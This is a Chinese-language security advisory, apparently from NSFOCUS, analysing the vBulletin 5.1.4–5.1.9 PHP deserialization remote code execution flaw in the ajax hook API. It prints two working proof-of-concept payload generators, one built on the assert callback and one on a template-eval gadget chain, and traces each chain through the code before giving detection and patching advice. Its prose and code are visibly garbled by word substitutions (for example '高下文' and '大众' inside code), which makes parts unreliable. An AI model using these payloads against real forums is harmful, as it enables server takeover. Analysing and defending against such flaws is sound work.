绿盟科技漏洞库
可能的影响
该论坛程序在国外利用较多,海内利用较少,在绿盟科技广谱平台Seer系统中仅有50多条记录;

这次漏洞的PoC已经开始在网络流传,已有国外媒体宣布vBulletin官网479895用户信息遭到透露;
该论坛并没有中文版本,海内盛行较多的中文版本及破解版本,这些版本可能存在漏洞修复的问题;
受此影响的版本包括5.1.4~5.1.9
vBulletin在其ajax接口利用了反序列化函数unserialize。导致存在漏洞,可以覆盖其高下文中利用的类的类变量,导致可以产生各种问题。
0X01 漏洞剖析
1,漏洞实质问题
hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。并且攻击者还可以掌握传入的$arguments的值,因此漏洞的全部演出从这里开始。
12345publicfunctiondecodeArguments($arguments){=》if($args=@unserialize($arguments)){...2,反序列化后对高下文变量覆盖的利用
POC角度剖析
对URL进行分解,path为vBulletin对参数进行路由转换的结果,实质也是mvc调用,vBulletin处理的格式为ajax/api/[controller]/[method],也便是说此访问页面调用的是hook文件的decodeArgument方法。query内只有一个参数,参数的名称为arguments,参数的值为一段序列化的代码。
看下输出序列化值的代码
123456789101112131415161718192021<?phpclassvB_Database_MySQL{public$functions=array();publicfunction__construct(){$this->functions['free_result']='assert';}}classvB_dB_Result{protected$db;protected$recordset;publicfunction__construct(){$this->db=newvB_Database_MySQL();$this->recordset='print(\'Hello world!\')';}}printurlencode(serialize(newvB_dB_Result())).\"大众\n\"大众;?>终极输出的是 serialize(new vB_dB_Result())
的值,类vB_dB_Result定义了两个protected变量,并且其布局函数对这两个protected变量进行复制,$recordset赋值为一段字符串,从poc也可看出来,$recordset的值便是要实行的代码片段。$db的赋值为vB_Database_MySQL,定义了一个数组类型的变量$functions,并给这个数组的free_result索引赋值为assert。因此可以对此进行下小结,vBulletin通过对传值进行反序列化操作,可以对其实行高下文中的变量进行覆盖。覆盖后,会产生代码实行漏洞。
代码角度剖析
首先进入hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。变量$args会被赋值为vB_Database_Result类。
12345678910publicfunctiondecodeArguments($arguments){=》if($args=@unserialize($arguments)){$result='';foreach($argsAS$varname=>$value){$result.=$varname;...接着进入foreach函数,由于$args为工具数据构造,并且当前类(vB_Database_Result类)implements于Iterator接口,因此当php在遍历工具$args时,便首先会调用其rewind()方法。[foreach遍历工具][1],[迭代器遍历][2]。以上两个链接详细讲解了php遍历工具操作的细节。
12345678910publicfunctiondecodeArguments($arguments){if($args=@unserialize($arguments)){$result='';=》foreach($argsAS$varname=>$value){$result.=$varname;...然后跟入result.php的vB_Database_Result类的rewind()方法,此方法会调用当前类内的类变量$db的free_result方法,并且为其传入类变量$recordset的值。
123456789101112publicfunctionrewind(){if($this->bof){return;}if($this->recordset){=》$this->db->free_result($this->recordset);}...末了跟入database.php的vB_Database类的free_result方法,由于掌握了当前类(vB_Database类)的变量$functions[‘free_result’],和传入的$queryresult,因此此处达成了动态函数实行,漏洞利用至此结束。
12345functionfree_result($queryresult){$this->sql='';=》return@$this->functions['free_result']($queryresult);}3,反序列化后利用魔术方法RCE的利用
POC角度剖析
同理上文的路径剖析。
看下输出序列化值的代码
12345678910111213141516171819202122232425262728<?phpclassvB5_Template{public$tmpfile;protected$template;protected$registered=array();publicfunction__construct(){$this->template='widget_php';$this->registered['widgetConfig']=array('code'=>'print_r(\'hello manning\');die();');}}classvB_View_AJAXHTML{public$tmpfile;protected$content;publicfunction__construct(){$this->content=newvB5_Template();}}classvB_vURL{public$tmpfile;publicfunction__construct(){$this->tmpfile=newvB_View_AJAXHTML();}}printurlencode(serialize(newvB_vURL())).\"大众\n\公众;?>终极输出的是 serialize(new vB_vURL())
的值,向类vB_vURL注入了一个public变量$temfile,并且赋值为类vB_View_AJAXHTML,而类vB_View_AJAXHTML的布局函数中,向其类内工具$content赋值类vB5_Template,终极的利用代码在类vB5_Template中$template和$registered中,含义分别是调用模板widget_php和$registered[‘widgetConfig’]的值为利用代码。
代码角度剖析
首先进入hook.php文件的vB_Api_Hook类的decodeArguments方法,传入的值会被进行反序列化操作。变量$args会被赋值为vB_vURL类。
1234567891011121314151617181920212223publicfunctiondecodeArguments($arguments){=>if($args=@unserialize($arguments)){$result='';=》foreach($argsAS$varname=>$value){$result.=$varname;if(is_array($value)){$this->decodeLevel($result,$value,'=');}$result.=\"大众\n\"大众;}return$result;}return'';}在foreach中,由于$args为工具数据构造,并且当前类(vB_vURL类)并没有implements于Iterator接口,因此当php在遍历工具$args时,只是会遍历vB_vURL类的public变量,不会产生漏洞。
由于要进行return操作,因此便出发了当前类(vB_vURL类)的析构函数。
1234567function__destruct(){=>if(file_exists($this->tmpfile)){@unlink($this->tmpfile);}}由于为其$tmpfile赋值为一个工具,file_exists方法会试图把类转化为字符串,因此触发了$tmpfile工具的__toString()方法。(由于传入的是vB_View_AJAXHTML类,vB_View_AJAXHTML类继续于vB_View类,因此触发的是vB_View类的__toString方法)
123456789101112publicfunction__toString(){try{=>return$this->render();}catch(vB_Exception$e){//If debug, return the error, elsereturn'';}}由上文可知,当前$this工具实在还是vB_View_AJAXHTML类的工具,因此进入了vB_View_AJAXHTML类的render()方法,由于定义了vB_View_AJAXHTML类的$content类工具。
12345678publicfunctionrender($send_content_headers=false){...if($this->content){=》$xml->add_tag('html',$this->content->render());}类工具$content已经被赋值为vB5_Template类工具,因此会进入vB5_Template类的render()方法。
1234567891011121314publicfunctionrender($isParentTemplate=true,$isAjaxTemplateRender=false){$this->register('user',$user,true);extract(self::$globalRegistered,EXTR_SKIP|EXTR_REFS);=》extract($this->registered,EXTR_OVERWRITE|EXTR_REFS);...$templateCache=vB5_Template_Cache::instance();=》$templateCode=$templateCache->getTemplate($this->template);if($templateCache->isTemplateText()){=》@eval($templateCode);}vB5_Template类的render()方法,此方法会实行extract()方法和eval()方法,并且都可以掌握传入的参数,因此会导致代码实行。再看一次poc。
12345678910<?phpclassvB5_Template{public$tmpfile;protected$template;protected$registered=array();publicfunction__construct(){$this->template='widget_php';$this->registered['widgetConfig']=array('code'=>'print_r(\'hello manning\');die();');}}也便是说,目前我们掌握两个关键点。
要实行的模板
模板须要的参数
此时期码已经覆盖了$registered变量的widgetConfig索引,因此会把数组$widgetConfig注册到全局变量内,其var_dump为
12array(size=1)'code'=>string'print_r('hello manning');die();'(length=31)然后模板widget_php存在
1$evaledPHP=vB5_Template_Runtime::parseAction('bbcode','evalCode',$widgetConfig['code']);因此,导致代码实行。
0X02 漏洞总结
vBulletin 5系列通杀的代码实行漏洞,无难度getshell。这个漏洞可以说是php反序列化操作的最佳反面教程,讲述了利用反序列化不当,造成的严重后果。既可覆盖代码的高下文进行RCE,又可利用传统的办法在魔术方法中进行RCE。 影响范围个人评价为“高”,危害性个人评价为“高”,vBulletin在环球的利用范围非常广,此漏洞在vBulletin 5版本通杀。
0x03 漏洞检测
以绿盟WEB运用漏洞扫描系统(NSFOCUS Web Vulnerability Scanning System,简称:NSFOCUS WVSS)为例,对业务系统支配WVSS,在大略的配置后,即可得到全面快速的检测能力。该系统可自动获取网站包含的干系信息,并全面仿照网站访问的各种行为,比如按钮点击、鼠标移动、表单繁芜添补等,通过内建的”安全模型”检测Web运用系统潜在的各种漏洞,同时为用户构建从急到缓的修补流程,知足安全检讨事情中所须要的高效性和准确性。目前漏洞干系检测产品的升级情形如下:
升级办法
绿盟科技已在软件升级公告中供应规则升级包,规则可以通过产品界面的在线升级进行。如果您的业务系统暂时还无法升级规则包,那么可以在软件升级页面中,找到对应的产品,通过下载升级包,以离线办法进行升级。
干系升级信息请访问:
安全产品先容:http://www.nsfocus.com.cn/1_solution/1_2_1.html
产品升级公告:http://update.nsfocus.com/
开拓互换
其余,绿盟科技蜂巢社区启动应急机制,已经实现vBulletin远程代码实行漏洞的在线检测。在社区中,大家可以进行网络安全扫描插件的开拓及谈论。从漏洞剖析、代码开拓、安全互换等多方面来提升自己的能力。同时,安全职员可以方便获取对应插件进行安全测试,共同掩护互联网安全。这次vBulletin远程代码实行扫描插件便是大家共同开拓及快速上线的。
]10 绿盟科技蜂巢开拓者社区
加入蜂巢社区,请联系beehive@nsfocus.com,得到注册码。
0x04 防护方案
利用反序列化的地方增多了数据的种类,增大了风险。因此防护方案如下:
利用反序列化结果的地方,检测是否存在危险操作
只管即便避免利用反序列化交互操作
升级补丁
对付个人用户最大略的办法,便是尽快通过vBulletin官方渠道获取升级补丁,补丁获取地址:http://members.vbulletin.com/patches.php
0X05 引用资料
http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq
http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/
http://blog.knownsec.com/2015/11/unserialize-exploit-with-vbulletin-5-x-x-remote-code-execution/
请关注绿盟科技博客 http://blog.nsfocus.net/vbulletin-5-rce-vulnerability/